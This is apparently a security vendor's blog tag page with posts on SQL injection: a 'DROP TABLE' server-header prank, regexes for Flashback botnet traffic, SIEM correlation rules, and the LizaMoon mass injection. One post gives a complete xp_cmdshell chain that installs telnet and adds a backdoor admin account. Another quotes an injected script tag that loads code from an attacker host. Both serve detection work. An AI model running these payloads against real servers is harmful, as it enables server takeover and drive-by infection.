Posts tagged: 'sql injection'

The following posts are associated with the tag you have selected. You may subscribe to the RSS feed for this tag to receive future updates relevant to the topic(s) of your interest.

http://blog.logrhythm.com/tags/sql-injection/feed
 
 

“Reverse” SQL Injection Using HTTP Headers

I’ve been doing a good deal of research on HTTP Headers recently and was intrigued when I saw the following tweet last week.


 
The link takes you to a list of hosts that respond with the value “DROP TABLE” somewhere within the servers HTTP headers.

In case you aren’t already familiar with the HTTP protocol, when you make a request to a web site, lets say logrhythm.com,  something like this is going on in the background.

In this case, we place a GET request for logrhythm.com and everything after the “HTTP/1.1 200 OK”  are the HTTP header fields that the remote server server sent back to us.  As we can see above, the server claims to be IIS/6.0.  Based off of other returned header data, “X-powered-By:PleskWin, ASP.NET” for example, it’s probably a safe bet that it’s a windows server.  Back to the point though, in the case of Mikko’s example, the servers listed don’t respond with a know server type, instead the following text:

Server: ‘; DROP TABLE servertypes; –

Clearly, this is not an actual server type, instead a SQL injection command.

Why would someone configure a server to respond this way?

Well, if we read the SQL it’s pretty simple.  It’s telling the server to delete/remove the table servertypes. So who would be inserting HTTP Header response codes into a DB and would have a table named servertypes? Spiders, bots and crawlers of course! Well i’m guessing that’s the idea anyway.

So a bot hits your site, parses your header responses and tries to insert the value from “Server:” into a DB . If it happens to have a table named, servertype and SQL the statements aren’t being prepared or sanitized properly, then the table gets dropped.

Ultimately, it’s probably a joke more than anything but it’s interesting to think about. This assessment seems to be pretty accurate based on a Reddit mod’s explanation of why Reddit does it here.  At this point I will have to also admit that this is not really “reverse” SQLi because that doesn’t really add up technically.

In event that you would like to configure your servers to reply with different responses, check out the following links:

Apache: http://httpd.apache.org/docs/2.0/mod/mod_headers.html

IIS7:http://technet.microsoft.com/en-us/library/cc753133(v=ws.10).aspx

NginX:http://blog.secaserver.com/2012/03/customize-server-header-nginx/

Also, I like this site for viewing HTTP headers where standard proxy means are not ideal. http://pgl.yoyo.org/http/server-headers.php

Tags: , , , , , ,

4 Comments | SecuritySIEM

 
 

Finding Security Issues in the HTTP Request Headers, and the Mac OSX Flashback Botnet

LogRhythm Labs has recently initiated a research project into HTTP Request Header analysis, to include User Agent strings, both in proxy logs as well as web server logs.  A few recent events have validated our interest in this topic.

The recently identified botnet targeting Mac OSX machines, reportedly with more than 600,000 hosts compromised (conficker-sized!), uses the bot’s MAC address as the User Agent when phoning home to C&C.  Hosts infected with the Backdoor.Flashback.39 trojan can be identified with a simple regex looking for MAC address patterns in an organization’s proxy logs (see below for example regex’s).

We’ve also gotten our hands on some IIS log data from a recent high-profile breach.  What we found was very interesting.  The attackers didn’t bother to change the User Agent for the SQLi tools that were used.  Both Havij and sqlmap were identified.  Some simple whitelisting or blacklisting against the UA in the IIS logs would have easily caught these low-hanging fruit.

Stay tuned for more in-depth analysis of User Agent strings and HTTP Request Headers, as well as out-of-the-box content to help secure web applications using SIEM.

 

Example MAC Address Regex’s:

No dashes, colons, or spaces: [a-fA-F0-9]{12}

With dashes, colons, or spaces: ([a-fA-F0-9]{2}(:|-|\s)){5}[a-fA-F0-9]

UPDATE:

Kaspersky Labs gives an example User Agent string for the Flashback malware.  Here’s a regex that will match it in proxy logs: id:[a-fA-F0-9]{8}-\w{4}-[a-fA-F0-9]{4}-\w{4}-[a-fA-F0-9]{12}

 

Tags: , , , , ,

0 Comments | Digital ForensicsSecuritySIEM

 
 

Using Correlation Rules To Perform Decentralized Threat Detection

Over the past few months while developing correlation rules for LogRhythm’s new Advanced Intelligence Engine, I started to think about a concept I’m calling “Decentralized Threat Detection.”  While antivirus and IDS systems generally look for a threat in a single, specific spot, individual files and network packets, respectively, Decentralized Threat Detection looks at behavior patterns surrounding a threat rather than the threat itself, expanding the detection capabilities away from a single point.  My colleague Zak Wolff’s recent blog post outlines some correlation ideas around this very concept.  Malware developers are getting better and better at writing code that most anti-virus software can’t detect.  A recent post in the SANS Handler Diary presents a perfect example.  In short, relying on AV or IDS/HIDS by themselves simply isn’t enough to adequately detect all malicious activity.

By applying the concept of Decentralized Threat Detection when building correlation rules for a SIEM, we’re looking for various malicious activity patterns shared across all types of attacks, malware, exploits, etc.  The specific technical details of the attack are irrelevant; we’re treating the attack as a black-box and looking for behavior patterns outside of the attack itself.  While Zak applied this concept to detecting malicious PDFs in his post, I’ll be taking a look at a certain type of SQL injection.

The mother of all vulnerabilities for a SQL Server back-ended web application is when non-sanitized data is passed to the database using a privileged account, allowing xp_cmdshell to be enabled and command-line commands run as a privileged user.  In a scenario like this, on a Windows Server 2008 system the following SQL statement will enable xp_cmdshell, install a telnet server, start the telnet service, create a backdooraccount, and add the account to both the TelnetClients group as well as the local administrators group.

master.dbo.sp_configure ‘show advanced options’, 1; RECONFIGURE; EXEC master.dbo.sp_configure ‘xp_cmdshell’, 1; RECONFIGURE; EXEC xp_cmdshell ‘ServerManagerCmd.exe -install Telnet-Server -allSubFeatures -resultPath C: TelnetServer.xml’; EXEC xp_cmdshell ‘sc config TlntSvr start= auto’; EXEC xp_cmdshell ‘sc start TlntSvr’; EXEC xp_cmdshell ‘net user backdooraccount password!1 /add’; EXEC xp_cmdshell  ’net localgroup TelnetClients /add backdooraccount’; EXEC xp_cmdshell ‘net localgroup administrators /add backdooraccount’;

Depending on the obfuscation used/required during the injection, this injection like many others can go unnoticed, although the server would now be effectively owned.

However, let’s take a step back from the injection/SQL statement/vulnerability itself, and start to look at the log trail this activity leaves behind.

(the above SQL statements were run manually for easy isolation of the relevent log data for analysis)

When xp_cmdshell is enabled, a log is written to the SQL Server ERRORLOG:

2011-04-01 11:09:20.74 spid52      Configuration option ‘xp_cmdshell’ changed from 0 to 1. Run the RECONFIGURE statement to install.

A very similar log is also written to the Windows Application Event Log:

Log Name:      Application

Source:        MSSQLSERVER

Date:          4/1/2011 11:09:20 AM

Event ID:      15457

Task Category: (2)

Level:         Information

Keywords:      Classic

User:          N/A

Computer:      WIN2008TESTSERVER

Description:

Configuration option ‘xp_cmdshell’ changed from 0 to 1. Run the RECONFIGURE statement to install.

Event XML…

Already, without any visibility into the SQL injection itself, we can start to see some behavior surrounding the attack.  The remaining commands run by xp_cmdshell via the injection all leave a trail in the Event Log data, including the telnet service starting, and the backdoor account creation and addition to local groups (Windows Server 2008 logs are long, so jump past the samples below to get to the punchline).

Telnet Service Starting:

Log Name:      Application

Source:        Microsoft-Windows-TelnetServer

Date:          4/1/2011 12:08:52 PM

Event ID:      1000

Task Category: None

Level:         Information

Keywords:      Classic

User:          N/A

Computer:      WIN2008TESTSERVER

Description:

Telnet Service was started successfully.

Event XML…

Backdoor account creation:

Log Name:      Security

Source:        Microsoft-Windows-Security-Auditing

Date:          4/1/2011 12:12:23 PM

Event ID:      4720

Task Category: User Account Management

Level:         Information

Keywords:      Audit Success

User:          N/A

Computer:      WIN2008TESTSERVER

Description:

A user account was created.

Subject:

Security ID:                              WIN2008TESTSERVERAdministrator

Account Name:                       Administrator

Account Domain:                    WIN2008TESTSERVER

Logon ID:                 0x1d944

New Account:

Security ID:                              WIN2008TESTSERVERbackdooraccount

Account Name:                       backdooraccount

Account Domain:                    WIN2008TESTSERVER

Attributes:

SAM Account Name:               backdooraccount

Display Name:

User Principal Name:             -

Home Directory:

Home Drive:

Script Path:

Profile Path:

User Workstations:

Password Last Set:

Account Expires:

Primary Group ID:   513

Allowed To Delegate To:        -

Old UAC Value:                       0×0

New UAC Value:                     0×15

User Account Control:

Account Disabled

‘Password Not Required’ – Enabled

‘Normal Account’ – Enabled

User Parameters:

SID History:                             -

Logon Hours:                           All

Additional Information:

Privileges                                -

Event XML …

New Account added to Administrators group:

Log Name:      Security

Source:        Microsoft-Windows-Security-Auditing

Date:          4/1/2011 12:13:54 PM

Event ID:      4732

Task Category: Security Group Management

Level:         Information

Keywords:      Audit Success

User:          N/A

Computer:      WIN2008TESTSERVER

Description:

A member was added to a security-enabled local group.

Subject:

Security ID:                              WIN2008TESTSERVERAdministrator

Account Name:                       Administrator

Account Domain:                    WIN2008TESTSERVER

Logon ID:                 0x1d944

Member:

Security ID:                              WIN2008TESTSERVERbackdooraccount

Account Name:                       -

Group:

Security ID:                              BUILTINAdministrators

Group Name:                          Administrators

Group Domain:                       Builtin

Additional Information:

Privileges:                               -

Event Xml…

 

Backdoor account logging in via tlntsess.exe process and being granted administrative privileges:

Log Name:      Security

Source:        Microsoft-Windows-Security-Auditing

Date:          4/1/2011 12:14:43 PM

Event ID:      4624

Task Category: Logon

Level:         Information

Keywords:      Audit Success

User:          N/A

Computer:      WIN2008TESTSERVER

Description:

An account was successfully logged on.

Subject:

Security ID:                              LOCAL SERVICE

Account Name:                       LOCAL SERVICE

Account Domain:                    NT AUTHORITY

Logon ID:                 0x3e5

Logon Type:                                             2

New Logon:

Security ID:                              WIN2008TESTSERVERbackdooraccount

Account Name:                       backdooraccount

Account Domain:                    WIN2008TESTSERVER

Logon ID:                 0x4f1f1

Logon GUID:                            {00000000-0000-0000-0000-000000000000}

Process Information:

Process ID:                              0x3fc

Process Name:                        C:WindowsSystem32tlntsess.exe

Network Information:

Workstation Name:                WIN2008TESTSERVER

Source Network Address:       -

Source Port:                             -

Detailed Authentication Information:

Logon Process:                        Advapi

Authentication Package:         Negotiate

Transited Services:  -

Package Name (NTLM only):  -

Key Length:                             0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The authentication information fields provide detailed information about this specific logon request.

– Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.

– Transited services indicate which intermediate services have participated in this logon request.

– Package name indicates which sub-protocol was used among the NTLM protocols.

– Key length indicates the length of the generated session key. This will be 0 if no session key was requested.

Event XML…

Log Name:      Security

Source:        Microsoft-Windows-Security-Auditing

Date:          4/1/2011 12:14:43 PM

Event ID:      4672

Task Category: Special Logon

Level:         Information

Keywords:      Audit Success

User:          N/A

Computer:      WIN2008TESTSERVER

Description:

Special privileges assigned to new logon.

Subject:

Security ID:                              WIN2008TESTSERVERbackdooraccount

Account Name:                       backdooraccount

Account Domain:                    WIN2008TESTSERVER

Logon ID:                 0x4f1f1

Privileges:                               SeSecurityPrivilege

SeTakeOwnershipPrivilege

SeLoadDriverPrivilege

SeBackupPrivilege

SeRestorePrivilege

SeDebugPrivilege

SeSystemEnvironmentPrivilege

SeImpersonatePrivilege

Event XML…

Post-attack activity also leaves a log trail.  If perimeter firewall/netflow data is being collected, this telnet session would also be seen in those logs, as well as any other access/authentication attempts made by the backdoor account across the infrastructure.

Now we can build some correlation rules that will detect the activity pattern demonstrated in this attack:

1) A rule that looks for a configuration changed followed shortly by a process starting on the same host would detect the xp_cmdshell being enabled followed by the telnet service starting.

2) A rule that looks for a new account being created followed by immediate authentication activity from that same account would detect the backdoor account creation followed by the account being used to telnet back into the system.

3) A rule that looks for a configuration change followed by network activity on a new port would fire when the xp_cmdshell is enabled on a host followed by firewall/netflow data showing telnet activity to the same host.

4) A rule that looks for a new account being created, followed shortly by access/authentication failure activity from the same account.

Add additional white-listing, such as allowed accounts, allowed processes and/or allowed network ports, and the correlation rules become even more effective while reducing false-positives.  And even simpler correlation rules can quickly be developed as well.

With a properly configured SIEM collecting data across the entire breadth and depth of an infrastructure, from the perimeter devices to the endpoint monitoring features and everything in between, the correlation rules outlined above would work wonderfully.  By forgetting about the SQL Injection itself, and focusing the correlation rules on malicious activity patterns surrounding the attacks, we no longer have to rely solely on single points of detection, and can achieve “Decentralized Threat Detection.”

Tags: , , ,

1 Comment | Security

 
 

LizaMoon : Analysis of a Blended Attack

There is a great write up on the LizaMoon attack on the SpiderLabs® Anterior blog.  In this breakdown we’re shown multiple examples of the SQL injection payloads used by the attackers. What makes this particular attack interesting however are not the SQL payloads, but what the strings are being used to attack.

The first target of this blended attack are custom web applications. Ryan Barnett with SpiderLabs describes the challenges associated with mass attacking such a target below.

Historically, criminals had a tough time creating SQL Injection payloads that would mass exploit web applications. This was mainly due to websites running custom coded apps. No two sites were the same. This means that attackers didn’t have access to the target code so they were forced to conduct manual reconnaissance probes to enumerate database structures. This meant that if an attacker wanted to extract out customer credit card data from a back-end database, they would be forced to run reconnaissance probes in order to enumerate the database structure and naming conventions. This manual probing offered defenders time to identify and react to attacks before successful compromise of customer data.

So how did the Lizamoon attackers pull this off? The article appropriately sheds light on this key component of the attack but doesn’t elaborate in detail on the process. Without web server and/or database logs it’s difficult to know exactly what methods they employed.  While I have seen reports of the XSS code being mass inserted into all DB fields, it seems likely that this actually represents a case where the attack is malfunctioning.  Scanning the DB for common field names such as “title” may do the trick in some cases, but would not work all the time.

Regardless of how that first component of the attack is executed, it is clear that other parts of the attack are not as clever and are being misunderstood or simply not identified properly.   While multiple sources mark March 29th as the start of this attack, evidence paints a different picture. Take for example 95.64.9.18. Later in the cycle of this attack, the IP resolved to hxxp: //worid-of-books.com and was one of the domains frequently seen being injected.  In the attack’s earlier stages however, at least as early as February 11th, this IP was reportedly seen attempting a SQL injection against various servers.

Accurate or not, there seems to be even less information on the payload and its delivery method.  Grouping all Rogue Security Applications into the same bucket might keep us from gathering a good understanding of the overall attack, but where are the Rogue Security Applications? I think it’s safe to say that the criminals were probably disappointed by falling so short of what this attack could have been. But, whether you give credit to security researchers for acting quickly to shut down domains or you simply consider it poor planning on the scammers’ part, we can expect to see better randomization and distribution of domain names the next time around.

An interesting byproduct of this attack is the number and variety of URLs pushing pay-per-click ads jumping on the LizaMoon media bandwagon.   Like this gem:misleading LizaMoon Ad

Crafty marketing or a simple case of web vigilantism in action?

Tags: , , ,

0 Comments | Security

 
 

Initial Thoughts: LizaMoon Mass SQL Injection

While I will be posting a more in-depth analysis of the LizaMoon attack, here are a few early thoughts from Dave Pack while his blogger profile gets set up.  Dave manages LogRhythm’s Knowledge Engineering department and has been working in information security and advanced data analysis for over ten years.

Various security organizations/bloggers are tracking a mass SQL Injection currently being called “LizaMoon” (one of the first websites identified).  While we haven’t a chance to fully analyze the attack, based on information being aggregated by SANS and Stackoverflow, it looks like this is a combination SQL Injection/Stored XSS Attack, the final target being client-side end-users.

It appears that the SQL Injection is taking advantage of a web application vulnerability.  The injection itself is delivering a Stored XSS attack to the vulnerably web servers, consisting of a script (< / title> < script src = http : // google-stats49.info/ur.php >) that redirects unlucky internet users to a different site hosting a file named ur.php.  This php file is where the dirty work is actually done.  It launches an exploit which installs fake AV software on the end-user’s machine.

What’s really interesting is that the SQL injection is really just a means of delivering the much more dangerous Stored XSS to vulnerable web servers.  Stored XSS are much scarier than a standard Reflected XSS because a user doesn’t have to be tricked into clicking a maliciously crafted URL.  The XSS attack is simply sitting on the web server, waiting for any unlucky internet user to browse to the compromised website.

We’re attempting to get our hands on the ur.php code for further analysis of the client-side exploit, after which one of our analysts will be posting an update.  In the meantime, here are some things both web administrators and end users can do to detect this attack and help protect against it.

SQL Injection:

1. Implement standard protections, such as sanitizing all database inputs and using parameterized queries across the board, to limit what can get through.

2. Check if a web server is being targeted by most types of SQL injections.

a. In particular, look at your access logs for “)-” in the URL. It is extremely rare for legitimate input to be commenting out the rest of a SQL statement.

b.  Check for various encodings of the same string as well. LogRhythm provides an out-of-the-box AI Engine advanced correlation rule that looks for these strings in a URL and will alarm on any injection attempts.

Stored XSS:

1. If the functionality is available in your infrastructure, block any attempts to access a website with “ur.php” in the URL.

2. Practice standard “safe browsing” techniques. Many browsers offer a plugin, such as NoScript which forces users to explicitly grant any script permission to run client-side. Use a plugin like this, or disable javascript all together if it’s not needed for business purposes.

Tags: , , ,

0 Comments | Security